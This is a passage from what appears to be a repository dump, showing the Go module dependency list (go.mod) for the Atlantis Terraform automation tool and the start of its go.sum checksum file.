    "content": "module github.com/runatlantis/atlantis\n\ngo 1.25.4\n\nrequire (\n\tcode.gitea.io/sdk/gitea v0.23.2\n\tgithub.com/Masterminds/sprig/v3 v3.3.0\n\tgithub.com/alicebob/miniredis/v2 v2.36.1\n\tgithub.com/bmatcuk/doublestar/v4 v4.10.0\n\tgithub.com/bradleyfalzon/ghinstallation/v2 v2.17.0\n\tgithub.com/briandowns/spinner v1.23.2\n\tgithub.com/cactus/go-statsd-client/v5 v5.1.0\n\tgithub.com/drmaxgit/go-azuredevops v0.13.2\n\tgithub.com/go-ozzo/ozzo-validation v3.6.0+incompatible\n\tgithub.com/go-playground/validator/v10 v10.30.1\n\tgithub.com/go-test/deep v1.1.1\n\tgithub.com/gofri/go-github-ratelimit v1.1.1\n\tgithub.com/golang-jwt/jwt/v5 v5.3.1\n\tgithub.com/google/go-github/v83 v83.0.0\n\tgithub.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510\n\tgithub.com/google/uuid v1.6.0\n\tgithub.com/gorilla/mux v1.8.1\n\tgithub.com/gorilla/websocket v1.5.3\n\tgithub.com/hashicorp/go-getter/v2 v2.2.3\n\tgithub.com/hashicorp/go-version v1.7.0\n\tgithub.com/hashicorp/golang-lru/v2 v2.0.7\n\tgithub.com/hashicorp/hc-install v0.9.2\n\tgithub.com/hashicorp/terraform-config-inspect v0.0.0-20260210152655-f4be3ba97d94\n\tgithub.com/jpillora/backoff v1.0.0\n\tgithub.com/kr/pretty v0.3.1\n\tgithub.com/microcosm-cc/bluemonday v1.0.27\n\tgithub.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db\n\tgithub.com/mitchellh/go-homedir v1.1.0\n\tgithub.com/moby/patternmatcher v0.6.0\n\tgithub.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826\n\tgithub.com/opentofu/tofudl v0.0.1\n\tgithub.com/petergtz/pegomock/v4 v4.3.0\n\tgithub.com/pkg/errors v0.9.1\n\tgithub.com/redis/go-redis/v9 v9.17.3\n\tgithub.com/remeh/sizedwaitgroup v1.0.0\n\tgithub.com/shurcooL/githubv4 v0.0.0-20260209031235-2402fdf4a9ed\n\tgithub.com/slack-go/slack v0.16.0\n\tgithub.com/spf13/cobra v1.10.2\n\tgithub.com/spf13/pflag v1.0.10\n\tgithub.com/spf13/viper v1.21.0\n\tgithub.com/stretchr/testify v1.11.1\n\tgithub.com/uber-go/tally/v4 v4.1.17\n\tgithub.com/urfave/negroni/v3 v3.1.1\n\tgitlab.com/gitlab-org/api/client-go v0.118.0\n\tgo.etcd.io/bbolt v1.4.3\n\tgo.uber.org/mock v0.6.0\n\tgo.uber.org/zap v1.27.1\n\tgolang.org/x/term v0.40.0\n\tgolang.org/x/text v0.34.0\n\tgopkg.in/yaml.v3 v3.0.1\n)\n\nrequire (\n\tgithub.com/agext/levenshtein v1.2.3\n\tgithub.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect\n\tgithub.com/hashicorp/hcl/v2 v2.24.0\n\tgithub.com/shurcooL/graphql v0.0.0-20220606043923-3cf50f8a0a29 // indirect\n\tgo.uber.org/atomic v1.11.0 // indirect\n)\n\nrequire github.com/twmb/murmur3 v1.1.8 // indirect\n\nrequire (\n\tdario.cat/mergo v1.0.1 // indirect\n\tgithub.com/42wim/httpsig v1.2.3 // indirect\n\tgithub.com/Masterminds/goutils v1.1.1 // indirect\n\tgithub.com/Masterminds/semver/v3 v3.4.0 // indirect\n\tgithub.com/ProtonMail/go-crypto v1.1.6 // indirect\n\tgithub.com/ProtonMail/go-mime v0.0.0-20230322103455-7d82a3887f2f // indirect\n\tgithub.com/ProtonMail/gopenpgp/v2 v2.7.5 // indirect\n\tgithub.com/apparentlymart/go-textseg/v15 v15.0.0 // indirect\n\tgithub.com/aymerick/douceur v0.2.0 // indirect\n\tgithub.com/beorn7/perks v1.0.1 // indirect\n\tgithub.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d // indirect\n\tgithub.com/cespare/xxhash/v2 v2.3.0 // indirect\n\tgithub.com/cloudflare/circl v1.6.3 // indirect\n\tgithub.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect\n\tgithub.com/davidmz/go-pageant v1.0.2 // indirect\n\tgithub.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect\n\tgithub.com/fatih/color v1.16.0 // indirect\n\tgithub.com/fsnotify/fsnotify v1.9.0 // indirect\n\tgithub.com/gabriel-vasile/mimetype v1.4.12 // indirect\n\tgithub.com/go-fed/httpsig v1.1.0 // indirect\n\tgithub.com/go-playground/locales v0.14.1 // indirect\n\tgithub.com/go-playground/universal-translator v0.18.1 // indirect\n\tgithub.com/go-viper/mapstructure/v2 v2.4.0 // indirect\n\tgithub.com/golang-jwt/jwt/v4 v4.5.2 // indirect\n\tgithub.com/golang/mock v1.6.0 // indirect\n\tgithub.com/golang/protobuf v1.5.4 // indirect\n\tgithub.com/google/go-cmp v0.7.0 // indirect\n\tgithub.com/google/go-github/v75 v75.0.0 // indirect\n\tgithub.com/google/go-querystring v1.2.0 // indirect\n\tgithub.com/gorilla/css v1.0.1 // indirect\n\tgithub.com/hashicorp/errwrap v1.1.0 // indirect\n\tgithub.com/hashicorp/go-cleanhttp v0.5.2 // indirect\n\tgithub.com/hashicorp/go-multierror v1.1.1 // indirect\n\tgithub.com/hashicorp/go-retryablehttp v0.7.7 // indirect\n\tgithub.com/hashicorp/go-safetemp v1.0.0 // indirect\n\tgithub.com/hashicorp/hcl v1.0.0 // indirect\n\tgithub.com/huandu/xstrings v1.5.0 // indirect\n\tgithub.com/inconshreveable/mousetrap v1.1.0 // indirect\n\tgithub.com/klauspost/compress v1.17.2 // indirect\n\tgithub.com/kr/text v0.2.0 // indirect\n\tgithub.com/leodido/go-urn v1.4.0 // indirect\n\tgithub.com/mattn/go-colorable v0.1.13 // indirect\n\tgithub.com/mattn/go-isatty v0.0.20 // indirect\n\tgithub.com/matttproud/golang_protobuf_extensions v1.0.4 // indirect\n\tgithub.com/mitchellh/copystructure v1.2.0 // indirect\n\tgithub.com/mitchellh/go-testing-interface v1.14.1 // indirect\n\tgithub.com/mitchellh/go-wordwrap v1.0.1 // indirect\n\tgithub.com/mitchellh/reflectwalk v1.0.2 // indirect\n\tgithub.com/onsi/gomega v1.38.2 // indirect\n\tgithub.com/pelletier/go-toml/v2 v2.2.4 // indirect\n\tgithub.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect\n\tgithub.com/prometheus/client_golang v1.12.1 // indirect\n\tgithub.com/prometheus/client_model v0.2.0 // indirect\n\tgithub.com/prometheus/common v0.34.0 // indirect\n\tgithub.com/prometheus/procfs v0.10.1 // indirect\n\tgithub.com/rogpeppe/go-internal v1.9.0 // indirect\n\tgithub.com/sagikazarmark/locafero v0.11.0 // indirect\n\tgithub.com/shopspring/decimal v1.4.0 // indirect\n\tgithub.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 // indirect\n\tgithub.com/spf13/afero v1.15.0 // indirect\n\tgithub.com/spf13/cast v1.10.0 // indirect\n\tgithub.com/subosito/gotenv v1.6.0 // indirect\n\tgithub.com/ulikunitz/xz v0.5.15 // indirect\n\tgithub.com/yuin/gopher-lua v1.1.1 // indirect\n\tgithub.com/zclconf/go-cty v1.16.3 // indirect\n\tgo.uber.org/multierr v1.11.0 // indirect\n\tgo.yaml.in/yaml/v3 v3.0.4 // indirect\n\tgolang.org/x/crypto v0.47.0 // indirect\n\tgolang.org/x/exp v0.0.0-20231006140011-7918f672742d // indirect\n\tgolang.org/x/mod v0.32.0 // indirect\n\tgolang.org/x/net v0.49.0 // indirect\n\tgolang.org/x/oauth2 v0.27.0 // indirect\n\tgolang.org/x/sync v0.19.0 // indirect\n\tgolang.org/x/sys v0.41.0 // indirect\n\tgolang.org/x/time v0.8.0 // indirect\n\tgolang.org/x/tools v0.41.0 // indirect\n\tgoogle.golang.org/protobuf v1.36.7 // indirect\n)\n"
  },
  {
    "path": "go.sum",
    "content": "cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=\ncloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=\ncloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=\ncloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=\ncloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=\ncloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=\ncloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=\ncloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To=\ncloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4=\ncloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M=\ncloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc=\ncloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk=\ncloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs=\ncloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc=\ncloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY=\ncloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=\ncloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE=\ncloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc=\ncloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg=\ncloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc=\ncloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=\ncloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=\ncloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=\ncloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=\ncloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=\ncloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=\ncloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU=\ncloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=\ncloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos=\ncloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk=\ncloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs=\ncloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=\ncode.gitea.io/sdk/gitea v0.23.2 h1:iJB1FDmLegwfwjX8gotBDHdPSbk/ZR8V9VmEJaVsJYg=\ncode.gitea.io/sdk/gitea v0.23.2/go.mod h1:yyF5+GhljqvA30sRDreoyHILruNiy4ASufugzYg0VHM=\ndario.cat/mergo v1.0.1 h1:Ra4+bf83h2ztPIQYNP99R6m+Y7KfnARDfID+a+vLl4s=\ndario.cat/mergo v1.0.1/go.mod h1:uNxQE+84aUszobStD9th8a29P2fMDhsBdgRYvZOxGmk=\ndmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=\ngithub.com/42wim/httpsig v1.2.3 h1:xb0YyWhkYj57SPtfSttIobJUPJZB9as1nsfo7KWVcEs=\ngithub.com/42wim/httpsig v1.2.3/go.mod h1:nZq9OlYKDrUBhptd77IHx4/sZZD+IxTBADvAPI9G/EM=\ngithub.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=\ngithub.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=\ngithub.com/Masterminds/goutils v1.1.1 h1:5nUrii3FMTL5diU80unEVvNevw1nH4+ZV4DSLVJLSYI=\ngithub.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU=\ngithub.com/Masterminds/semver/v3 v3.4.0 h1:Zog+i5UMtVoCU8oKka5P7i9q9HgrJeGzI9SA1Xbatp0=\ngithub.com/Masterminds/semver/v3 v3.4.0/go.mod h1:4V+yj/TJE1HU9XfppCwVMZq3I84lprf4nC11bSS5beM=\ngithub.com/Masterminds/sprig/v3 v3.3.0 h1:mQh0Yrg1XPo6vjYXgtf5OtijNAKJRNcTdOOGZe3tPhs=\ngithub.com/Masterminds/sprig/v3 v3.3.0/go.mod h1:Zy1iXRYNqNLUolqCpL4uhk6SHUMAOSCzdgBfDb35Lz0=\ngithub.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERoyfY=\ngithub.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU=\ngithub.com/ProtonMail/go-crypto v0.0.0-20230717121422-5aa5874ade95/go.mod h1:EjAoLdwvbIOoOQr3ihjnSoLZRtE8azugULFRteWMNc0=\ngithub.com/ProtonMail/go-crypto v1.1.6 h1:ZcV+Ropw6Qn0AX9brlQLAUXfqLBc7Bl+f/DmNxpLfdw=\ngithub.com/ProtonMail/go-crypto v1.1.6/go.mod h1:rA3QumHc/FZ8pAHreoekgiAbzpNsfQAosU5td4SnOrE=\ngithub.com/ProtonMail/go-mime v0.0.0-20230322103455-7d82a3887f2f h1:tCbYj7/299ekTTXpdwKYF8eBlsYsDVoggDAuAjoK66k=\ngithub.com/ProtonMail/go-mime v0.0.0-20230322103455-7d82a3887f2f/go.mod h1:gcr0kNtGBqin9zDW9GOHcVntrwnjrK+qdJ06mWYBybw=\ngithub.com/ProtonMail/gopenpgp/v2 v2.7.5 h1:STOY3vgES59gNgoOt2w0nyHBjKViB/qSg7NjbQWPJkA=\ngithub.com/ProtonMail/gopenpgp/v2 v2.7.5/go.mod h1:IhkNEDaxec6NyzSI0PlxapinnwPVIESk8/76da3Ct3g=\ngithub.com/agext/levenshtein v1.2.3 h1:YB2fHEn0UJagG8T1rrWknE3ZQzWM06O8AMAatNn7lmo=\ngithub.com/agext/levenshtein v1.2.3/go.mod h1:JEDfjyjHDjOF/1e4FlBE/PkbqA9OfWu2ki2W0IB5558=\ngithub.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=\ngithub.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=\ngithub.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=\ngithub.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=\ngithub.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho=\ngithub.com/alicebob/miniredis/v2 v2.36.1 h1:Dvc5oAnNOr7BIfPn7tF269U8DvRW1dBG2D5n0WrfYMI=\ngithub.com/alicebob/miniredis/v2 v2.36.1/go.mod h1:TcL7YfarKPGDAthEtl5NBeHZfeUQj6OXMm/+iu5cLMM=\ngithub.com/apparentlymart/go-textseg/v15 v15.0.0 h1:uYvfpb3DyLSCGWnctWKGj857c6ew1u1fNQOlOtuGxQY=\ngithub.com/apparentlymart/go-textseg/v15 v15.0.0/go.mod h1:K8XmNZdhEBkdlyDdvbmmsvpAG721bKi0joRfFdHIWJ4=\ngithub.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so=\ngithub.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw=\ngithub.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk=\ngithub.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4=\ngithub.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=\ngithub.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=\ngithub.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=\ngithub.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=\ngithub.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d h1:xDfNPAt8lFiC1UJrqV3uuy861HCTo708pDMbjHHdCas=\ngithub.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d/go.mod h1:6QX/PXZ00z/TKoufEY6K/a0k6AhaJrQKdFe6OfVXsa4=\ngithub.com/bmatcuk/doublestar/v4 v4.10.0 h1:zU9WiOla1YA122oLM6i4EXvGW62DvKZVxIe6TYWexEs=\ngithub.com/bmatcuk/doublestar/v4 v4.10.0/go.mod h1:xBQ8jztBU6kakFMg+8WGxn0c6z1fTSPVIjEY1Wr7jzc=\ngithub.com/bradleyfalzon/ghinstallation/v2 v2.17.0 h1:SmbUK/GxpAspRjSQbB6ARvH+ArzlNzTtHydNyXUQ6zg=\ngithub.com/bradleyfalzon/ghinstallation/v2 v2.17.0/go.mod h1:vuD/xvJT9Y+ZVZRv4HQ42cMyPFIYqpc7AbB4Gvt/DlY=\ngithub.com/briandowns/spinner v1.23.2 h1:Zc6ecUnI+YzLmJniCfDNaMbW0Wid1d5+qcTq4L2FW8w=\ngithub.com/briandowns/spinner v1.23.2/go.mod h1:LaZeM4wm2Ywy6vO571mvhQNRcWfRUnXOs0RcKV0wYKM=\ngithub.com/bsm/ginkgo/v2 v2.12.0 h1:Ny8MWAHyOepLGlLKYmXG4IEkioBysk6GpaRTLC8zwWs=\ngithub.com/bsm/ginkgo/v2 v2.12.0/go.mod h1:SwYbGRRDovPVboqFv0tPTcG1sN61LM1Z4ARdbAV9g4c=\ngithub.com/bsm/gomega v1.27.10 h1:yeMWxP2pV2fG3FgAODIY8EiRE3dy0aeFYt4l7wh6yKA=\ngithub.com/bsm/gomega v1.27.10/go.mod h1:JyEr/xRbxbtgWNi8tIEVPUYZ5Dzef52k01W3YH0H+O0=\ngithub.com/bwesterb/go-ristretto v1.2.3/go.mod h1:fUIoIZaG73pV5biE2Blr2xEzDoMj7NFEuV9ekS419A0=\ngithub.com/cactus/go-statsd-client/v5 v5.1.0 h1:sbbdfIl9PgisjEoXzvXI1lwUKWElngsjJKaZeC021P4=\ngithub.com/cactus/go-statsd-client/v5 v5.1.0/go.mod h1:COEvJ1E+/E2L4q6QE5CkjWPi4eeDw9maJBMIuMPBZbY=\ngithub.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=\ngithub.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=\ngithub.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=\ngithub.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=\ngithub.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=\ngithub.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=\ngithub.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=\ngithub.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=\ngithub.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=\ngithub.com/cloudflare/circl v1.3.3/go.mod h1:5XYMA4rFBvNIrhs50XuiBJ15vF2pZn4nnUKZrLbUZFA=\ngithub.com/cloudflare/circl v1.6.3 h1:9GPOhQGF9MCYUeXyMYlqTR6a5gTrgR/fBLXvUgtVcg8=\ngithub.com/cloudflare/circl v1.6.3/go.mod h1:2eXP6Qfat4O/Yhh8BznvKnJ+uzEoTQ6jVKJRn81BiS4=\ngithub.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=\ngithub.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g=\ngithub.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=\ngithub.com/cyphar/filepath-securejoin v0.4.1 h1:JyxxyPEaktOD+GAnqIqTf9A8tHyAG22rowi7HkoSU1s=\ngithub.com/cyphar/filepath-securejoin v0.4.1/go.mod h1:Sdj7gXlvMcPZsbhwhQ33GguGLDGQL7h7bg04C/+u9jI=\ngithub.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM=\ngithub.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/davidmz/go-pageant v1.0.2 h1:bPblRCh5jGU+Uptpz6LgMZGD5hJoOt7otgT454WvHn0=\ngithub.com/davidmz/go-pageant v1.0.2/go.mod h1:P2EDDnMqIwG5Rrp05dTRITj9z2zpGcD9efWSkTNKLIE=\ngithub.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78=\ngithub.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc=\ngithub.com/drmaxgit/go-azuredevops v0.13.2 h1:wcY3X8vVkidVpILwPqUiF8xNtELpvjdv6QkNWcZyHu8=\ngithub.com/drmaxgit/go-azuredevops v0.13.2/go.mod h1:m1pO2fW60I9FahzLHMmHYq3bM446ZMZKDpd8+AEKzxc=\ngithub.com/emirpasic/gods v1.18.1 h1:FXtiHYKDGKCW2KzwZKx0iC0PQmdlorYgdFG9jPXJ1Bc=\ngithub.com/emirpasic/gods v1.18.1/go.mod h1:8tpGGwCnJ5H4r6BWwaV6OrWmMoPhUl5jm/FMNAnJvWQ=\ngithub.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=\ngithub.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=\ngithub.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=\ngithub.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=\ngithub.com/fatih/color v1.16.0 h1:zmkK9Ngbjj+K0yRhTVONQh1p/HknKYSlNT+vZCzyokM=\ngithub.com/fatih/color v1.16.0/go.mod h1:fL2Sau1YI5c0pdGEVCbKQbLXB6edEj1ZgiY4NijnWvE=\ngithub.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8=\ngithub.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=\ngithub.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S9k=\ngithub.com/fsnotify/fsnotify v1.9.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0=\ngithub.com/gabriel-vasile/mimetype v1.4.12 h1:e9hWvmLYvtp846tLHam2o++qitpguFiYCKbn0w9jyqw=\ngithub.com/gabriel-vasile/mimetype v1.4.12/go.mod h1:d+9Oxyo1wTzWdyVUPMmXFvp4F9tea18J8ufA774AB3s=\ngithub.com/go-fed/httpsig v1.1.0 h1:9M+hb0jkEICD8/cAiNqEB66R87tTINszBRTjwjQzWcI=\ngithub.com/go-fed/httpsig v1.1.0/go.mod h1:RCMrTZvN1bJYtofsG4rd5NaO5obxQ5xBkdiS7xsT7bM=\ngithub.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376 h1:+zs/tPmkDkHx3U66DAb0lQFJrpS6731Oaa12ikc+DiI=\ngithub.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376/go.mod h1:an3vInlBmSxCcxctByoQdvwPiA7DTK7jaaFDBTtu0ic=\ngithub.com/go-git/go-billy/v5 v5.6.2 h1:6Q86EsPXMa7c3YZ3aLAQsMA0VlWmy43r6FHqa/UNbRM=\ngithub.com/go-git/go-billy/v5 v5.6.2/go.mod h1:rcFC2rAsp/erv7CMz9GczHcuD0D32fWzH+MJAU+jaUU=\ngithub.com/go-git/go-git/v5 v5.14.0 h1:/MD3lCrGjCen5WfEAzKg00MJJffKhC8gzS80ycmCi60=\ngithub.com/go-git/go-git/v5 v5.14.0/go.mod h1:Z5Xhoia5PcWA3NF8vRLURn9E5FRhSl7dGj9ItW3Wk5k=\ngithub.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=\ngithub.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=\ngithub.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=\ngithub.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=\ngithub.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=\ngithub.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY=\ngithub.com/go-kit/log v0.2.0/go.mod 